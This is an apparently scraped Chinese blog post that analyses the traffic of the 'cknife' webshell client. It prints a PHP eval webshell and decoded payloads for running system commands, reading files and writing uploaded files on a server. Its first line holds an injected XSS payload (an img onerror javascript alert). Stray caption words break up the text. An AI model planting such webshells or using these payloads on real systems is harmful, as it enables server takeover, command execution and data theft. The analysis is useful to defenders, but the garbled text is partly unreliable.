本文首發:https://<img src=1 onerror=\u006coc\u0061tion='j\x61v\x61script:\x61lert\x281\x29'>testdemophp
<?php eval($_REQUEST['shell'] ?>
執行命令結果以下圖所示shell
POST的數據以下圖所示this
對POST的數據解碼編碼
#shell @eval(base64_decode($_POST[action])); #action @ini_set("display_errors","0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo("->|");; $p=base64_decode($_POST["z1"]); $s=base64_decode($_POST["z2"]); $d=dirname($_SERVER["SCRIPT_FILENAME"]); $c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\""; $r="{$p} {$c}"; @system($r." 2>&1",$ret); print ($ret!=0)?"ret={$ret}":"";; echo("|<-"); die(); #z1 cmd #z2 cd/d"C:\wamp64\www\"&whoami&echo [S]&cd&echo [E]
z2
是whoami
通過cknife
的組合再通過base64
編碼後的結果,cknife
經過eval
執行action
中的代碼,把POST的z1
和z2
用base64_decode
解碼,再把z1
和z2
組合成$r
,最後用system
執行$r
,打印執行結果。url
返回結果以下圖所示3d
通過cknife
的格式處理,返回的結果變成了上圖的樣子,->|
和|<-
中間的內容就是執行命令的結果code
POST的數據以下圖所示blog
對POST的數據解碼ip
#shell @eval(base64_decode($_POST[action])); #action @ini_set("display_errors","0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo("->|");; $F=get_magic_quotes_gpc()?base64_decode(stripslashes($_POST["z1"])):base64_decode($_POST["z1"]); $fp=@fopen($F,"r"); if(@fgetc($fp)){ @fclose($fp); @readfile($F); }else { echo("ERROR:// Can Not Read"); }; echo("|<-"); die(); #z1 C:\wamp64\www\index.php
z1
是目標文件路徑通過base64
編碼後的結果,cknife
經過eval
執行action
中的代碼,用base64_decode
獲取文件的路徑,而後判斷文件是否可以被讀取,若是可以被讀取,則用readfile()
輸出文件的內容,最後將輸出的文件內容寫入到本地文件中。get
返回結果以下圖所示
有一點須要注意,cknife
可能會將返回的全部內容輸出到文件中,因此須要手動取出->|
和|<-
之間的內容,不然文件可能格式錯誤
POST的數據以下圖所示
對POST的數據解碼
#shell @eval(base64_decode($_POST[action])); #action @ini_set("display_errors","0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo("->|");; $f=base64_decode($_POST["z1"]); $c=$_POST["z2"]; $c=str_replace("\r","",$c); $c=str_replace("\n","",$c); $buf=""; for($i=0;$i<strlen($c);$i+=2) $buf.=urldecode("%".substr($c,$i,2)); echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");; echo("|<-"); die(); #z1 C:\wamp64\www\test.txt #z2 this is a test
z1
是目標文件路徑通過base64
編碼後的結果,z2
是本地文件的內容通過hex
編碼後的結果,cknife
經過eval
執行action
中的代碼,用base64_decode
先獲取目標文件的路徑,而後獲取z2
的內容,使用for
循環將原來的hex
編碼轉換爲URL
編碼,再用urldecode
進行解碼,追加給$buf
,for
循環結束後$buf
就是文件的內容,最後寫入目標文件中,寫入成功返回1
,寫入失敗返回0
返回結果以下圖所示
若是->|
和|<-
之間的內容爲1
,則表明文件上傳成功